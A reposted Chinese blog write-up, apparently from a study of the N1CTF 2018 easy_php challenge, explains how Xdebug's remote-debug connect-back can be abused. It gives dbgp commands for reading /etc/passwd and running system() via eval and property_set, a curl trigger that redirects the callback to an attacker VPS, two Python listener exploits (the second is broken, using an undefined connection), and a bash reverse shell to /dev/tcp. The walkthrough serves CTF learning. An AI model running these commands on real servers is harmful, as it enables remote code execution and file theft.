xdebug's attack analyze

                       

N1CTF esay_php的官方writeup中提到三种非预期解法中有一个就是Xdebug attack,在@wupco师傅的指导下,成功的学习并本地测试了一波xdebug attack

 

参考链接:
  https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface
  http://www.wupco.cn/?p=4195
  http://www.zjicmisa.org/index.php/archives/155/
  http://www.bendawang.site/2018/03/13/N1CTF-2018-Web-writeup/

0X01、about xdebug

Xdebug 是一个 PHP 的调试工具,支持在本地通过源码远程调试服务器上的 PHP 代码。

Xdebug 调试 PHP 的主要流程为:

  • 接收到 debug 的信号,一般为请求参数带有 XDEBUG_SESSION_START
  • 返回一个 XDEBUG_SESSIONCookie
  • 服务器作为客户端,根据配置文件中的 xdebug.remote_hostxdebug.remote_port 连接服务端(开发者的机器)
  • 服务端收到请求,向客户端发送指令

Xdebug 支持的协议有 dbgp,具体的规范文档在:https://xdebug.org/docs-dbgp.php

本地我进行测试的环境使用了wamp集成环境,php版本由默认的php5改到php7,(xdebug支持必须要求php7以上)

下载XDebug下载地址:http://www.xdebug.org/,必须下载跟机器上安装的php匹配的版本才行。

具体下载方法如下:将phpinfo网页的源代码拷贝到http://www.xdebug.org/find-binary.php,然后按照指导安装即可。如下图所示:
这里写图片描述
这里写图片描述
为了满足xdebug攻击需求的环境,配置XDebug打开php.ini,在末尾增加如下代码:
这里写图片描述
于是phpinfo页面可以很明显看到:
这里写图片描述
逐条解释一下:

  • xdebug.remote_enable,开启远程 debug
  • xdebug.remote_connect_back,开启回连

xdebug.remote_connect_back 的回连是通过自定义 Headerxdebug.remote_addr_header)、X-Forwarded-ForRemote-Addr 三个确定的,依次 fallback,所以即使配置了自定义 Header,也可以通过设置 XFF 头来指定服务器连接。

Xdebug 的网络交互也十分简单,客户端回向服务端发送 XML 数据,服务端会向客户端发送类似于 gdbcommand。每次交互的数据以 \x00 作为 EOL

how to attack

@RicterZ 师傅的Xdebug: A Tiny Attack Surface,我们可以学到一下三个利用点:

  • Core Commands > source
  • Extended Commands > eval
  • Extended Commands > interact - Interactive Shell
  • Core Commands > property_set

1. source

source -i transaction_id -f fileURI
   
   
  • 1

transaction_id 貌似没有那么硬性的要求,每次都为 1 即可,fileURI 是要读取的文件的路径,需要注意的是,Xdebug 也受限于 open_basedir

利用方式:

source -i 1 -f file:///etc/passwd
   
   
  • 1

2. eval

eval -i transaction_id -- {DATA}
   
   
  • 1

{DATA}base64 过的 PHP 代码。 利用方式(c3lzdGVtKCJpZCIpOw== == system("id");):

eval -i 1 -- c3lzdGVtKCJpZCIpOw==
   
   
  • 1

3. property_set

根据 Xdebug 对于 dbgp 的实现,property_set 是存在一个代码注入的。
具体代码在:https://github.com/xdebug/xdebug/blob/master/xdebug_handler_dbgp.c#L1503-L1505

/* Do the eval */eval_string = xdebug_sprintf("%s = %s", CMD_OPTION('n'), new_value);res = xdebug_do_eval(eval_string, &ret_zval TSRMLS_CC);
   
   
  • 1
  • 2
  • 3

利用方式:

property_set -n $a -i 1 -c 1 -- c3lzdGVtKCJpZCIpOw== property_get -n $a -i 1 -c 1 -p 0
   
   
  • 1
  • 2

test and an exp

说了这么多,怎么知道对方是否开了 Xdebug 并且可利用?很简单,一个 cURL 就可以了。

curl "127.0.0.1/phpinfo.php?XDEBUG_SESSION_START=GETF" -H "X-Forwarded-For:url.cn"
   
   
  • 1

url.cn为你自己的vps主机
同时主机上

nc -lvv 9000
   
   
  • 1

可见如图:
这里写图片描述
@RicterZ 师傅提供了一个方便利用的exp

#!/usr/bin/python2import socketip_port = ('0.0.0.0',9000)sk = socket.socket()sk.bind(ip_port)sk.listen(10)conn, addr = sk.accept()while True:    client_data = conn.recv(1024)    print(client_data)    data = raw_input('>> ')    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

储存为 xdebug_exp.py,然后:

  • 服务端监听端口,等待反弹 shell
  • curl 触发 Xdebug,连接服务端
  • 服务端获取到,发送命令执行的代码

这里写图片描述

@bendawang 师傅那里又收到一个exp

#!/usr/bin/python2import socketip_port = ('0.0.0.0',9000)sk = socket.socket()sk.bind(ip_port)sk.listen(10)while True:    client_data = conn.recv(1024)    print(client_data)    data = raw_input('>> ')    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))    conn.sendall('feature_get -i transaction_id -n feature_name\x00')
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

然后运行:curl 'http://127.0.0.1/phpinfo.php?XDEBUG_SESSION_START=GETF'

发现代码那边收到信息了, 然后输入

system('bash -c "bash -i >& /dev/tcp/vps_ip/vps_port 0<&1 2>&1"')
   
   
  • 1

就拿到shell

           

再分享一下我老师大神的人工智能教程吧。零基础!通俗易懂!风趣幽默!还带黄段子!希望你也加入到我们人工智能的队伍中来!https://blog.csdn.net/jiangjunshow

猜你喜欢

转载自blog.csdn.net/qq_43679507/article/details/86318730